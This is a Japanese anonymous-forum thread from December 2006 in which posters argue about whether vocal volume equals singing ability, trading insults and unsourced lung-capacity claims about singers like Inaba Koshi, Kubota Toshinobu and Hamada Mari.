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声量がある≒歌唱力がある

1 :名無しのエリー:2006/12/12(火) 18:25:18 ID:kqSC7p6Q
確かに声量は必要だと思うけど、それだけじゃ駄目。
陽水とか久保田とかが聞いてて気持ちいい。彼らが日本トップにふさわしいと思う。
その点で閣下や人見はあきらかに過大評価されすぎ。

2 :名無しのエリー:2006/12/12(火) 18:27:04 ID:9M0LVo9M
2ゲト

3 :名無しのエリー:2006/12/12(火) 18:33:15 ID:xMIA5Qfj
>>1
用水や久保田がトップだとは思わん
ようは両方備わった奴がトップ

4 :名無しのエリー:2006/12/12(火) 18:39:31 ID:0vizohSX
陽水は上手いわな。トップかといわれればそうではないだろ。

>>3 両方備わった奴っているか?

5 :名無しのエリー:2006/12/12(火) 19:34:14 ID:SJvO09oV
WaT小池とか

6 :名無しのエリー:2006/12/12(火) 19:50:58 ID:30A1SHLj
>>5
それだ!

7 :名無しのエリー:2006/12/13(水) 17:33:26 ID:J0YJxCAx
前々から人見が日本一と言われているのを疑問だと思っていた

8 :えんぺら ◆mFuuMYcpQ2 :2006/12/13(水) 17:51:42 ID:riwZ70tr
日本一は北島三郎

9 :名無しのエリー:2006/12/13(水) 17:54:29 ID:kq2mvojG
>>4
吉田美和はうまいと思う。

10 :名無しのエリー:2006/12/13(水) 17:56:16 ID:/pOQNipH
人見って誰だよ…
hitomiか?

陽水はケチの着けようがないですな。

11 :名無しのエリー:2006/12/13(水) 18:02:40 ID:wn1oXj7P
>>10
人見ゲンキ

12 :名無しのエリー:2006/12/13(水) 18:04:12 ID:9514Oh/q
俺はデーモンが疑問だった。わりとうまいとしか思わない

13 :名無しのエリー:2006/12/13(水) 18:07:34 ID:NnmDKLDv
俺は陽水(ただし昔の)とデーモンは文句なしでうまいと思う。
ただ最近の陽水と吉田美和はうまいとは思わん。

14 :名無しのエリー:2006/12/13(水) 18:51:48 ID:rwx4qFUg
TUBEの前田でしょ!ありゃ上手い!!

15 :名無しのエリー:2006/12/13(水) 20:18:01 ID:DYXuEaqU
>>14
前田の高音のロングトーンは圧倒的だな。

16 :名無しのエリー:2006/12/14(木) 11:18:46 ID:Emdi37Up
TUBEの前田はビブラートが物凄い!!若い歌手達はあの辺りをもっと研究してほしい。

17 :名無しのエリー:2006/12/14(木) 13:52:33 ID:OT+q/z5f
41歳にてhihiC♯の声域、ドームでマイクレスで声を出しても
とてもマイクレスだとは思えない響きを出す声量、ステージを全力疾走しながら高音域の歌歌っても
全く乱れない、クネクネしながら足をおっぴろげて高くジャンプしながら高音域出しても全く乱れない
リズム感。
稲ソロで分かる凶器じみた表現力。ライブで分かる日本でトップクラスの音感。hi程度なら全然大丈夫の安定感
ドームを全力疾走で一周した後普通にマイクブンブンしまくって何十秒のシャウトの後歌っても全然大丈夫の世界屈指の肺活量
そして好きな人は好き、嫌いな人は嫌いの個性
そしてB'zならではのパフォーマンス

40代、いやとても日本人とは思えない稲葉さん。

18 :名無しのエリー:2006/12/14(木) 14:14:09 ID:7UuHpMaW
美輪明宏と美空ひばり。

19 :名無しのエリー:2006/12/14(木) 14:16:58 ID:MTkQbdfZ
浜田麻里44歳の方が凄いですよ。

20 :えんぺら ◆mFuuMYcpQ2 :2006/12/14(木) 14:59:47 ID:4LdEI+bw
で結局、井上陽水と北島三郎どっちが上手い?

21 :名無しのエリー:2006/12/14(木) 15:02:20 ID:cBlbW+V4
>>17
稲葉オタ乙

22 :名無しのエリー:2006/12/14(木) 15:09:32 ID:WiIRebtS
歌唱力=声量×表現力×安定感×経験+α
てとこか?


23 :名無しのエリー:2006/12/14(木) 15:16:27 ID:1wSAulvj
>>22
ではスピオタの俺がそれに倣って・・・

×・・ヘタ △・・・びみょ〜 ○・・・わりとうまい ◎・・・すごい ☆・・・抜きん出て優れている


草野マサムネ
声  量・・・△
表現力・・・○
安定感・・・◎
経  験・・・○
+アルファ・・・☆

24 :えんぺら ◆mFuuMYcpQ2 :2006/12/14(木) 15:38:26 ID:4LdEI+bw
>>17には悪いけど正直、草野は稲葉の格上だと思う。
あと、日本人ボーカリストあんましらないけど、バックストリートボーイズは上手いと思った

25 :えんぺら ◆mFuuMYcpQ2 :2006/12/14(木) 15:40:51 ID:4LdEI+bw
バックストリートボーイズは日本人じゃない事に気づいた

26 :名無しのエリー:2006/12/14(木) 15:59:42 ID:CzB8XuXJ
>>24

ネタだよね?

27 :名無しのエリー:2006/12/14(木) 16:07:05 ID:pS+rVDMv
>>26
稲葉オタ乙

28 :名無しのエリー:2006/12/14(木) 18:22:31 ID:CzB8XuXJ
いやヲタだったとしてもじゃなくても
君は稲葉よりマサムネのが歌唱力あると思ってるの?

29 :名無しのエリー:2006/12/14(木) 18:50:12 ID:QSM29Uot
早いとこ歌唱力をちゃんと定義しないと勘違いビズヲタがわくぞ!!

そこで俺が

・超絶技巧は歌唱力とイコールではない
・技術の中にいかに表現を植えつけられるかが最大のポイント


とりあえずこの2つはおk?
付け足し頼む

30 :名無しのエリー:2006/12/14(木) 18:54:24 ID:9zzrwyA5
安定感と表現力ってどっちが大事?

31 :名無しのエリー:2006/12/14(木) 20:02:31 ID:rcGKJAtu
まずは聖飢魔UとVOW WOWを聴かねば話にならん

32 :名無しのエリー:2006/12/14(木) 20:54:19 ID:OT+q/z5f
歌唱力スレより
1位人見元基
2位稲葉浩志
3位久保田利伸
4位デーモン小暮
5位布施明

33 :名無しのエリー:2006/12/14(木) 21:00:04 ID:OT+q/z5f
>>29
意味がよく分からないんだけど。
歌唱力に先ず大事なのは
音感、表現力、声量であって
それを押すようにして
リズム感、音域、安定感、テクがあるわけで

どうしてそんな稲葉を否定したがるの?
なんか恨みでもあんの?事実上偏差値スレじゃ稲葉は人見、閣下と並んで70だったけどね


34 :名無しのエリー:2006/12/15(金) 06:48:28 ID:WENleXdB
河村隆一
河村隆一
河村隆一
河村隆一
河村隆一
河村隆一

35 :名無しのエリー:2006/12/15(金) 08:26:42 ID:NpX2Rfue
おまえらの話しみてると『歌唱力=聴いてて気持ちいいの』って感じだな。

歌って腹から声出せって言われるじゃん?英語は喋る時もそこ(腹?)使うんだけど日本語は違う。

だから>>1があげてる井上陽水とか、腹使ってない奴が気持ち良く聞こえるのは当然だよね。
だって普段聴いてる会話の日本語と同じだし日本語にかなってるから。


でも歌唱力は、あくまで歌の能力を指すべき。
井上陽水とかは『語り力』とでも言うべきだよ。


歌ってねーじゃん

36 :名無しのエリー:2006/12/15(金) 08:32:45 ID:X4NNmkCJ
人見 稲葉 閣下 レベルになると
後もう好みだから
議論しても結果は出ないよ

37 :名無しのエリー:2006/12/15(金) 21:02:40 ID:lYlxg2Gd
>>33
稲葉には音感、表現力が足りない。
それなのに声量があるだけで>>32みたいな評価をされているのが納得いかない。

38 :名無しのエリー:2006/12/15(金) 21:17:02 ID:EPDqguSx
おまいらは一体何様のつもりなんだ








39 :名無しのエリー:2006/12/15(金) 21:33:43 ID:VwxSbi1X
あれ?≒ってどういう意味?

40 :名無しのエリー:2006/12/15(金) 22:52:35 ID:X4NNmkCJ
>>37
それはお前が無知なだけ。稲ソロ聞け。それで解決するよ。あとライブにも行け、

第一表現力は一番評価が難しいから一つに無いあるなんて言えない、それを無理に足りないなんて言ってる時点で無知バレバレ

41 :名無しのエリー:2006/12/15(金) 23:26:40 ID:WENleXdB
どう考えても南こうせつだろ!!!!!!

42 :名無しのエリー:2006/12/15(金) 23:28:59 ID:gb4akE1z
>>39
「ほとんど同じ」ってことだと思う

稲葉は体力あるよな

43 :名無しのエリー:2006/12/15(金) 23:36:57 ID:+eWdZZgR
久保田はガチだろ

44 :名無しのエリー:2006/12/15(金) 23:40:01 ID:RPtPeplj
>>1 声量は歌唱力の最も重要な要素。
声量が無ければ、歌唱力の他の要素が高くても評価はされずらい。
声量があれば、歌唱力の他の要素に乏しくともある程度以上は評価してもらえる。

45 :名無しのエリー:2006/12/15(金) 23:44:31 ID:X4NNmkCJ
>>42
体力が「ある」どころじゃないよ
はいかつりょう8000CC。
世界にもボーカリストで8000CCある奴いないぞ。ましてやスポーツ選手でもイヤンソープ辺りしか。あとアニメのこちかめの両さんが8000だったな

46 :名無しのエリー:2006/12/15(金) 23:50:43 ID:gb4akE1z
マラソン選手の肺活量はおよそ7000ccって言われるよな
別にマンセーしたい訳じゃないけどそう思うとスゴイかも

クラスメイトが「稲葉って若く見えるよな」って言ったから
年齢尋ねてみたら・・・

「48歳くらい^^」って返されたぞ

47 :名無しのエリー:2006/12/15(金) 23:57:37 ID:sugFIXTa
ペリドッツ

48 :名無しのエリー:2006/12/16(土) 00:17:43 ID:QACwuCq9
>>46
42歳のオッサンが8000CC
こちかめの両サンに続いて地上最強。
オリンピックでメダルとる水泳選手でも平均7400ccって言われてるからね。

49 :名無しのエリー:2006/12/16(土) 06:09:43 ID:ITlqj6lM
肺活量=歌唱力と勘違いしている馬鹿が沸いてますね

50 :名無しのエリー:2006/12/16(土) 06:15:37 ID:D438ZZ0B
「肺活量=歌唱力と勘違いしている」と勘違いしている馬鹿が沸いてますね

51 :名無しのエリー:2006/12/16(土) 07:00:55 ID:WWCP/p//
体力なら矢沢永吉だろ!!!!!!!!!!!!!!!!!!

52 :名無しのエリー:2006/12/16(土) 10:21:34 ID:Bc86S5sJ
1番は上杉でしょ?

53 :名無しのエリー:2006/12/16(土) 20:54:04 ID:C99WiZJD
>>35って池沼?


54 :名無しのエリー:2006/12/17(日) 01:54:08 ID:PB0Z7hm8
>>52
私が今まで見てきた中で一番カッコいい人は上杉だ

55 :名無しのエリー:2006/12/17(日) 02:19:51 ID:VzhrLBBJ
TUBE前田、久保田、鈴木雅之、平井堅。

56 :名無しのエリー:2006/12/17(日) 02:33:04 ID:+hdGmo0c
鈴木雅之は良い声で好きだけど肺活量はないよ☆だからライブでバックの音がおっきいと聞き取りずらい時があった☆

57 :名無しのエリー:2006/12/17(日) 02:34:35 ID:+hdGmo0c
肺活量じゃなくて声量の間違いw

58 :名無しのエリー:2006/12/17(日) 08:19:40 ID:EFyExIiO
>>54
でも最近かなりピザってるらしいな。
既にTUBEの前田を超えてるんじゃね?

59 :名無しのエリー:2006/12/17(日) 08:46:27 ID:SEZoxQBQ
おまえら松崎しげるを忘れてるぞ

60 :名無しのエリー:2006/12/17(日) 09:16:18 ID:VzhrLBBJ
前田は別格だと思うけどなぁ…。

61 :名無しのエリー:2006/12/17(日) 11:27:42 ID:JBpiJb5Q
ちなみに浜田麻里も8000有るよ。稲葉さんだけじゃないのよ残念

62 :名無しのエリー:2006/12/17(日) 11:37:28 ID:5nP8ioG3
上杉そんなピザってるの?

63 :名無しのエリー:2006/12/17(日) 15:06:44 ID:Frnm9YvE
マイクが倒れてもばっちり歌が聞こえていた山下君の声量が一番です

64 :名無しのエリー:2006/12/17(日) 15:41:23 ID:EFyExIiO
浜田麻里、女なのにすげぇな!!!!!

>>62
はい、すげぇピザです。

414 :名無しのエリー:2006/12/16(土) 11:10:57 ID:8u5KD6n1
とりあえずようつべにある上杉(al.ni.co)のライブ映像貼っとく

カナリア
http://www.youtube.com/watch?v=okcRT7DBZiY

TOY$!
http://www.youtube.com/watch?v=06nTUCzIoFw

晴れた終わり
http://www.youtube.com/watch?v=f6neGAyxqMs


65 :名無しのエリー:2006/12/17(日) 16:11:08 ID:+hdGmo0c
声量なら河村隆一

66 :名無しのエリー:2006/12/17(日) 16:32:12 ID:BouVUCRW
歌唱力ランキングじゃなくてヲタの基地外度ランキングになってきたなw

67 :名無しのエリー:2006/12/17(日) 18:02:14 ID:JBpiJb5Q
そもそもヲタが語らないと成り立たないスレよw今に始まった事じゃないわよ。

68 :1:2006/12/18(月) 23:52:29 ID:hw7qxtpn
だからR&B系は声量がありゃ良いってもんじゃないんだよ

69 :名無しのエリー:2006/12/18(月) 23:56:43 ID:MNZSE4+k
>>1
今さらで悪いが死ね。

70 :名無しのエリー:2006/12/19(火) 00:03:55 ID:MNZSE4+k
535 :名無しのエリー:2006/12/18(月) 23:44:02 ID:hw7qxtpn
鈴木雅之とか久保田利伸はどうなの?


>>1
そんなにR&B好きなら隔離板作ってそこでやれ!!

71 :1:2006/12/19(火) 00:13:38 ID:USz/eZh2
なんでだよ
むしろあのスレなんであんなにロックファンばっかなの?
そもそもR&B系シンガー出したらマイナーとかいわれるけど
こっちからしたらデーモンとか人見とかマイナーな部類だし
なんも話できないじゃん

72 :名無しのエリー:2006/12/19(火) 00:18:08 ID:zk69/FgK
>>61
僕つられないからね

73 :名無しのエリー:2006/12/19(火) 13:45:27 ID:lonM2LcN
ピザ上杉(・∀・)キタコレ!

74 :名無しのエリー:2006/12/19(火) 13:47:09 ID:5bmbGArl
上杉さん昔はかっこよかったのにな〜

75 :名無しのエリー:2006/12/19(火) 14:23:15 ID:4VRBy+nQ
>>71
あのスレというか2ちゃん自体R&B好きは少ない。
R&B板の過疎っぷりを見れば分かるでしょ。

76 :名無しのエリー:2006/12/20(水) 19:39:28 ID:ADxcYKle
>>61
よくそんな嘘堂々といえるよなwwwww
これだからアンチは困るwwwww
嘘ばっかでさ

77 :名無しのエリー:2006/12/20(水) 20:23:21 ID:uFUbbQaS
上杉さんになにがあったんだorz

78 :名無しのエリー:2006/12/20(水) 23:46:55 ID:qSdtojJq
>>74
やっぱり栄光も過去のものなのかな
悲し・・・



79 :名無しのエリー:2006/12/21(木) 00:27:43 ID:wkWWlpDA
>>73-74>>77-78
一番太ってた頃の奥田民生みたいだったなorz
しかも公式の横顔の写真、顔上げて必死に二重顎にならないようにしてるのが
ミエミエだしorz

80 :名無しのエリー:2006/12/21(木) 00:57:32 ID:2MEgp4G9
浜田麻里は声量は7000CC以上有りますよ。これ昔から有名な話し。確か稲葉は6000位だと

81 :名無しのエリー:2006/12/21(木) 13:22:25 ID:csJZnYuV
>>80
浜田アンチ乙
浜田にははいかつりょうは目立つほど無い。普通の女性ボーカリスト程度
つかお前HR板で浜田のコピペ、ラルヲタ(アンチ)
なみにレスしまくってた奴だろww
しかも偽造w

82 :名無しのエリー:2006/12/21(木) 13:31:50 ID:2MEgp4G9
馬鹿かお前w携帯でコピペ出来るわけないアホ

83 :名無しのエリー:2006/12/21(木) 14:32:10 ID:n+JQUARI
↑バカ

84 :名無しのエリー:2006/12/21(木) 15:43:40 ID:LDHx0JGz
↑↑バカ

85 :名無しのエリー:2006/12/24(日) 14:48:34 ID:ToqdHB0k
浜田麻里の声量は確に7000あるよ。稲葉ヲタの方がガセ。浜田の曲聴いた事ある?浜田ヲタじゃないけどアンチ稲葉なんで書かせて貰うけど。

86 :名無しのエリー:2006/12/25(月) 01:39:50 ID:gMby87tm
浜田ファンだけど
何か怨みでもあるのか?
それとも稲葉と張り合うためだけに
浜田を出すのはやめてくれ
他のにしてくれ

第一曲を聞けば分かると言ってる時点で…

浜田真理はなんのへんてつもなく
アンチも少ない
只歌が上手いボーカリストなんだ。
そうやっガセて汚さないでくれ


87 :名無しのエリー:2006/12/25(月) 07:25:44 ID:NSkXupeF
>>86
誤字がある時点で、貴様は浜田麻里ファンじゃないことが確定。


88 :名無しのエリー:2006/12/25(月) 08:29:49 ID:9ajUBrG4
稲葉ヲタって腐ってるよw何でも一番にならないと気が済まない。

89 :名無しのエリー:2006/12/25(月) 11:02:05 ID:gP0yRyqJ
実際浜田に7000以上もないよ。断言できる
あるならソース見せてもらいたいところだけど。
でも実際こんな訴えかけても見せてもらったことなんて1度もないし
調べてもないし
第一7000もあったら相当有名になるはずなのに知ってる(思い込んでる)のは
一部の稲葉アンチだけだし。

>>87
別にヲタじゃないんだしネットなんだし誤字くらいあるだろ
たとえば稲葉なら未だにコウシをヒロシって思い込んでるファンもいるし
コウジとも思い込んでるやつもいる。

それに86(gMby87tm)は明らかにケータイなんだから
誤字くらいあったって仕方ないだろう

>>88
1番になることが腐ってるのか?
それともお前はライバルに蹴落とされて1番になれず
故に1番を憎むとか?



90 :名無しのエリー:2006/12/25(月) 11:34:05 ID:lUb7JBG0
歌唱力=声質(才能)+表現力(才能8生き様2)+努力×一生

91 :名無しのエリー:2006/12/25(月) 12:03:14 ID:9ajUBrG4
最後に一言!ギターの松本孝弘Bz結成前浜田麻里のバックで演奏してました。それから浜田麻里有名ですよ。(人気ない)けど。調べればわかる事!誰も浜田を一番だなんて言ってないし稲葉よりは凄いって事を言いたいだけなので。

92 :名無しのエリー:2006/12/25(月) 15:12:52 ID:gP0yRyqJ
>>91
アンチってほんと馬鹿なのか?
お前らがいうには(あくまで妄想)
浜田の肺活量は7000なんだよね?

で、なんで稲葉よりすごいの?
稲葉は8000ですけど。

自分が何いってるのかわかってるの?

つか調べればわかることならさっさとソース出せってーの

つかお前だんだん自演してきて最終的に
「つられすぎw」とかいって逃げて終わりそうだなwwwww

93 :名無しのエリー:2006/12/25(月) 18:50:24 ID:9ajUBrG4
稲葉8000笑わせないでよ!アホか、あるわけないだろwヲタがガセ書いてるのもわからず釣られてる稲葉ヲタw

94 :名無しのエリー:2006/12/25(月) 19:04:28 ID:NSkXupeF
どっちももう40すぎだろ?
さすがに衰えは見え始めてるんじゃね?

95 :名無しのエリー:2006/12/25(月) 20:02:48 ID:9ajUBrG4
浜田44歳メタルやっていた頃よりパワーアップしてますよ。

96 :名無しのエリー:2006/12/25(月) 20:20:57 ID:mCZYOvZK
なんか目糞鼻糞みたいな争いだな

97 :名無しのエリー:2006/12/25(月) 21:58:44 ID:JLJotAA6
真面目に語る気がある奴はいないのか

98 :名無しのエリー:2006/12/25(月) 22:07:43 ID:NSkXupeF
そんなに歌の上手さを語りたいなら、ようつべのリンクでも貼ってみんなに
聴いてもらえば?

99 :名無しのエリー:2006/12/25(月) 22:51:18 ID:gP0yRyqJ
>>93
嘲笑いwwwwwwwwwwwwwwwwww

100 :名無しのエリー:2006/12/25(月) 22:51:51 ID:gP0yRyqJ
>>98
議論スレ行けば?
ここタイトルからして釣りだろ

101 :名無しのエリー:2006/12/25(月) 22:52:43 ID:gP0yRyqJ
あ、>>97

102 :名無しのエリー:2006/12/25(月) 22:58:34 ID:JLJotAA6
>>101
今何処も同じような感じだ

103 :名無しのエリー:2006/12/25(月) 23:29:48 ID:NSkXupeF
なんだ糞スレか

104 :名無しのエリー:2006/12/26(火) 17:34:39 ID:dNRPwsVP
稲葉さんって歌上手いのにどうして馬鹿にされるのかな?

105 :名無しのエリー:2006/12/26(火) 17:38:51 ID:oXT9LC2A
>>104
メジャーなのに実際総合歌唱力(声域声量音感等)じゃ日本ナンバー1
だからアンチが多い


106 :名無しのエリー:2006/12/26(火) 17:48:52 ID:5ReOcjR/
でもあの金切り声が好きになれない。

107 :名無しのエリー:2006/12/26(火) 17:57:45 ID:HItlY9Gv
同じ稲葉でもオイラは因幡 晃が好きだな!

108 :名無しのエリー:2006/12/26(火) 19:20:31 ID:dNRPwsVP
日本ナンバー1などと騒いでるヲタが多いから叩かれるのよw

109 :名無しのエリー:2006/12/26(火) 19:32:47 ID:oXT9LC2A
>>108
じゃあ総合で稲葉以上のボーカリストあげてみてよ

これでアンチいつもあげられないよね
なんでーだろ

110 :名無しのエリー:2006/12/27(水) 01:22:02 ID:ysAYa8EX
沢山居て書ききれないから遠慮しているだけよ解ってね。貴方の中では稲葉さんな訳でしょ?それでいいんじゃない。盲目って笑われちゃうかもしれないけど?

111 :名無しのエリー:2006/12/27(水) 01:44:38 ID:MWYCTahw
>>109
基地外B'zヲタここまで来てるのかよ

総合もなにも、稲葉は歌唱力的に見て上の方ではないんだよ そんなに上手くない
久保田や飛鳥や玉置なんかが「歌うまい」ボーカリスト

112 :えんぺら ◆mFuuMYcpQ2 :2006/12/27(水) 01:47:27 ID:VaoRhQHE
北島三郎

113 :名無しのエリー:2006/12/27(水) 01:59:12 ID:ysAYa8EX
高見沢俊彦

114 :名無しのエリー:2006/12/27(水) 03:26:11 ID:f63MqVQ9
>>110

はいはいいないいのね。

>>111

はいバーカ。
「うたがうまい」に至るには音感表現力等の総合的な歌唱力が必要なわけで

それをのぞいて上手いなんて思えるのはお前のレベルが低いか
只の好み

115 :名無しのエリー:2006/12/27(水) 04:11:01 ID:cBDOhs+/
声量あるから歌唱力あるわけでもなく、心に響くわけでもなく。それ勘違いしてる人すっげえ多いよね。

116 :名無しのエリー:2006/12/27(水) 06:53:53 ID:5BalFo/K
玉置の歌唱力はガチ。
特にここ数年、凄みが増してるな。

117 :えんぺら ◆mFuuMYcpQ2 :2006/12/27(水) 11:19:05 ID:VaoRhQHE
>>114
信者の発狂を恐れて今まで言わないでいたけど、総合的にみたら稲葉≒桜井だよ。
稲葉は声域、声量はずばぬけてありリズム感も少しあるけど、表現力がかなり欠落してる。
それがスティーヴン・タイラーとの大きな違いでもある。
低から高まで同じ声で歌えると言うのは凄いけど、そこに曲に応じた表現を加えてよりよくする事もない。
桜井はもう発声法の段階で終わってるけど、表現力で他歌手を超越、圧倒してる。おのおのの曲を良く聴かせてる。
そう言う意味で、表現力もそこそこあり声域もそこそこある草野を稲葉の格上と言ったんだけどね。同時に桜井の格上でもあるけど。
もちろん草野以上の人はいくらでもいる。

118 :名無しのエリー:2006/12/27(水) 11:26:31 ID:jN2Squzn
稲葉はハードロックボーカリストとしては優秀な方だがな

119 :名無しのエリー:2006/12/27(水) 12:33:24 ID:MWYCTahw
>>114
ん?稲葉が歌唱力的に見て「上手い」説明にはなってないがw

120 :名無しのエリー:2006/12/27(水) 12:57:43 ID:dWRA9Hqc
>>114
稲葉が上手いと主張したいのなら、技巧主義の 最も〜 にいけ
ここは本質を語る場になりかけているから

121 :名無しのエリー:2006/12/27(水) 13:19:58 ID:7SI8ug6M
>>119
最高音はhihiC最低音はlowG
日本1,2を争うリズム感マイクレスでドームに声を普通に響き渡らせることができる声量
日本屈指の安定感に、ソロを聞けば分かるが相当の表現力

こんな感じの意見がほしかったわけ?お前w

122 :名無しのエリー:2006/12/27(水) 13:38:18 ID:Wv/2Y7ND
確かに具体的な説明になっていないな・・。

123 :名無しのエリー:2006/12/27(水) 13:59:11 ID:MWYCTahw
>>121
声量と音域はわかった
しかしそれ以外の表現は主観ともとれる曖昧さ

それじゃあ、「歌唱力的な歌の上手さ」の説明にはなっとらん

124 :名無しのエリー:2006/12/27(水) 14:03:40 ID:MWYCTahw
てかまあ、客観的な説明なんて不可能かも知れないが
稲葉って歌唱力的に見て歌うまいとは思えんよ

歌唱力の有無が出るようなバラードの「いつかのメリークリスマス」の不安定さや
こないだのMステの「衝動」のがなってるだけの部分を見てても

125 :名無しのエリー:2006/12/27(水) 14:16:00 ID:5BalFo/K
君が代歌ったら、ボロが出まくりそうだな。

126 :名無しのエリー:2006/12/27(水) 14:31:11 ID:ysAYa8EX
稲葉は個性は有るけど歌昌の方はイマイチだと思いますよ。


127 :名無しのエリー:2006/12/27(水) 14:34:14 ID:DAmXqRWu
96年年末のMステのときの稲葉はすごかったな

128 :名無しのエリー:2006/12/27(水) 14:42:50 ID:MWYCTahw
いろんな意味で「すごい」んであって「上手い」わけじゃない希ガス

129 :名無しのエリー:2006/12/27(水) 17:11:26 ID:ysAYa8EX
ハッキリ言っちゃえばヘタ糞wホットパンツ似合うのは稲葉だけ

130 :名無しのエリー:2006/12/27(水) 17:12:29 ID:7SI8ug6M
>>123
アホか?動画見るなりなんなりしろよボーケ。

リズム感→http://www.youtube.com/watch?v=uZli3CW2Sns
こんなクネクネしながら超高音の出る曲歌ってもまったく乱れない
全力疾走しながら歌ってもまったく乱れない。→http://www.youtube.com/watch?v=oW11vB-QL7g
安定感→http://www.youtube.com/watch?v=xO0tw0AF-AE
まぁ表現力は感受性の違いだしソロだからあえて動画出さないけどね

総合的に稲葉の歌唱力がよく見れる曲→http://www.youtube.com/watch?v=vMY14CxMcpc

>それじゃあ、「歌唱力的な歌の上手さ」の説明にはなっとらん

なにこれ?歌のうまさ=歌唱力だよね
歌唱=歌 力=うまさ(実力)だよね
意味がわからないんだけど

実際稲葉は総合歌唱力(声量安定感等)
じゃ正直敵は少ないね

>>128

すごいとうまさは一緒だろ
歌唱力に限り

131 :名無しのエリー:2006/12/27(水) 17:13:15 ID:7SI8ug6M
つか前から思ったけどすごいけどうまくはないって言い訳にしか聞こえないんだけど。


132 :名無しのエリー:2006/12/27(水) 17:15:08 ID:7SI8ug6M
>>127
これだよね。
http://www.youtube.com/watch?v=wXDv_NiEB54

133 :名無しのエリー:2006/12/27(水) 17:15:59 ID:7SI8ug6M
つかここで稲葉下手とか
筋の通った理由も出さないでほざいてる馬鹿ども
閣下vs桜井スレのチルヲタなみに痛いよ。

134 :名無しのエリー:2006/12/27(水) 17:20:40 ID:7SI8ug6M
>>117
うーん稲葉=桜井になるのは可笑しいよね
部分的な能力が圧倒的に違いすぎるもんね。
桜井がhihiCも出ますか?
桜井がマイクレスでドームに声響き渡らせることできますか?
桜井が全力疾走しながら歌うことできますか?
桜井が1曲だけでもいいのでとにかく体を動かしまくってhihi以上の超高音の曲歌えますか?
桜井がhi以上の曲出すとき声を裏返せないようにできますか?



桜井がドーム一周した後何十秒にもおよぶシャウトできますか?


135 :名無しのエリー:2006/12/27(水) 17:24:28 ID:MWYCTahw
基地外稲葉ヲタ暴れすぎ
>>130
>意味がわからないんだけど
確かに意味分かってないみたいだな
意味分からないうちはお前の言ってることも虚しいしこっちが何言っても無駄だろう

もうちょっと大人になったらわかるかもな
それか歌習ってみるとかw


136 :名無しのエリー:2006/12/27(水) 17:24:33 ID:jN2Squzn
>>134はバカなの?

137 :名無しのエリー:2006/12/27(水) 17:25:32 ID:7SI8ug6M
>>135
内容が全然詰まってないよアンチさん。
もっと練れよ?(ハァト

>>136
これがアンチ

138 :名無しのエリー:2006/12/27(水) 17:26:50 ID:MWYCTahw
>>136
だろうね

脳内選択肢が少ないのかもね 
なんか言葉の意味とかが全部混合してごちゃ混ぜになってるっつーか

139 :名無しのエリー:2006/12/27(水) 17:27:31 ID:7SI8ug6M
嘲笑いwwwwwwwwwwwwwwwww

140 :えんぺら ◆mFuuMYcpQ2 :2006/12/27(水) 17:31:51 ID:VaoRhQHE
予想通りの発狂ぶりだね。
何故>>134の様な疑問が生まれたのかが理解できない

141 :名無しのエリー:2006/12/27(水) 17:32:43 ID:MWYCTahw
まず根本の歌唱力っていうのがあって
その上で音域、声量、体力の問題が出てくる
で、稲葉は根本の歌唱力の部分は大したことないって言ってるんだが
例えば久保田や玉置や飛鳥の歌聴いたことある?何となくわかると思うんだが

ま、178に説明したって理解は出来ないだろうが
まず日本語が出来ないからな
もっと普通のB'zヲタと会話するよ おまえはイラネ

142 :名無しのエリー:2006/12/27(水) 17:32:44 ID:7SI8ug6M
>>140
その前に>>134の文に反駁はないわけ?早速肯定ですか?

「歌唱力的な歌の上手さ」って何?

143 :名無しのエリー:2006/12/27(水) 17:33:56 ID:MWYCTahw
>>142
なんだよ、わかってないんじゃんw

144 :名無しのエリー:2006/12/27(水) 17:34:52 ID:7SI8ug6M
>>141
じゃあその「歌唱力」の定義を具体的に陳述してくれない?
何がどうあればその歌唱力ってのは高くなるのか低くなるのか

145 :名無しのエリー:2006/12/27(水) 17:36:09 ID:7SI8ug6M
>>141
そもそも「歌唱力」で一番大事なのは声量、音感、表現力
なわけだよね

146 :名無しのエリー:2006/12/27(水) 17:37:48 ID:MWYCTahw
>>141
だから>>141で挙げたボーカリストと比べてみろ
稲葉は別の部類だってわかるから

つーか稲葉自体昔インタビューで「もっと歌自体うまくなりたい」って言ってたぞ
まったく基地外ヲタの無知には笑えるよ178さん
あー、やめやめ

147 :名無しのエリー:2006/12/27(水) 17:39:18 ID:MWYCTahw
>>146>>144へのレス

つーか何この連投具合w

148 :名無しのエリー:2006/12/27(水) 17:39:42 ID:jN2Squzn
>>142
お前は>>117

稲葉=桜井

とゆうのしか見てない

149 :名無しのエリー:2006/12/27(水) 17:40:29 ID:f63MqVQ9
お前ら馬鹿だろ
歌唱力なんて単語はない。あくまで造語
それを馬鹿みたいに歌唱力の上に声量がくるだの
馬鹿にも程があんぞ
歌唱=歌
力=上手さ
歌の上手さ=音感声量声域等の集合体

無知ばっかだな

150 :名無しのエリー:2006/12/27(水) 17:43:06 ID:jN2Squzn
>>149
和んだ

151 :名無しのエリー:2006/12/27(水) 17:50:39 ID:MWYCTahw
ごちゃごちゃ言ってないでサロン板逝って基地外晒してろ178
おまえの言うことはB'zヲタからも反論喰らってるだろ

152 :名無しのエリー:2006/12/27(水) 19:35:19 ID:ysAYa8EX
稲葉はホットパンツだけいい。

153 :名無しのエリー:2006/12/27(水) 20:18:10 ID:2PMEvRP+
>つーか稲葉自体昔インタビューで「もっと歌自体うまくなりたい」って言ってたぞ
久保田は「(自分が)どんどん歌が上手くなってる」って言ってた

154 :名無しのエリー:2006/12/27(水) 20:23:17 ID:IDBsYfUR
歌唱力=体力
体力は数値化できない。
明確な順位はつけられない。

声量=筋力
ある程度は数値化できて、ある程度は順位がつけられる

155 :名無しのエリー:2006/12/27(水) 20:39:02 ID:7SI8ug6M
>>146

ソースよろしく。

>稲葉は別の部類だってわかるから

当たり前。
稲葉はHR
久保田はR&B

何をえらそうに勘違い論ぶつけてるんだよw
音楽無知バレバレ。
ただ稲葉を否定したがってるしょーもないアンチ。

で、さっさと説明してくれないかな?その「歌唱力」とやらを
逃げるの?え?

>>151
正直178なんてサロン常連しかわからねーよ
俺も最近知ったんだから
あと反論できないからって勝手に178論で流すのやめてくれる?

156 :名無しのエリー:2006/12/27(水) 20:42:34 ID:7SI8ug6M
何を偉そうに
歌が上手い=久保田
久保田の曲を聞けば稲葉との違いが分かるだよw
ジャンルが違うんだから違うのは当たり前
音楽無知が露呈したねw
ただ単にお前の脳内じゃR&Bやソウル類のボーカリスト=上手い
HR/HMのボーカリスト=すごいだけで「歌」は上手くない
じゃん。
馬鹿にもほどがあるんすけどwwwww
流石稲葉アンチ。知ったか音楽無知ばっかだね

